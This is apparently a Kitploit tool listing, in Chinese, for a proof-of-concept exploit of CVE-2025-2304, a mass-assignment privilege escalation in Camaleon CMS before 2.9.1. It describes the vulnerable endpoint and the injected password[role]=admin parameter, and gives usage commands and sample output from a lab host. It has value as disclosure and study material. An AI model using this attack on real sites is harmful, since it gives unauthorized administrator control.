CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC — 针对Camaleon CMS < 2.9.1中批量赋值权限提升漏洞的概念验证漏洞利用。认证的低权限用户可以通过注入角色参数提升为管理员。 | Kitploit

CVE-2025-2304 — Camaleon CMS 批量赋值权限提升（PoC）

Camaleon CMS < 2.9.1 中的权限提升漏洞。UsersController 中的 updated_ajax 端点未经过滤直接调用 params.require(:password).permit!，允许任意参数被批量赋值。已认证的低权限用户可以通过在密码更改请求中注入 password[role]=admin 来将权限提升为管理员。

工作原理

使用提供的凭据登录以获取有效会话。
从个人资料页面获取当前用户的 ID 和角色。
向 /admin/users/<id>/updated_ajax 发送 PATCH 请求，并在密码参数中注入 password[role]=admin。
验证角色已更新为 admin。

环境要求

Python 3
安装依赖：

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

使用方法

python3 exploit.py http://TARGET -u USER -p PASS

示例：

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

参考资料

致谢

发现： Tenable Research
清理与简化： Esteban Zárate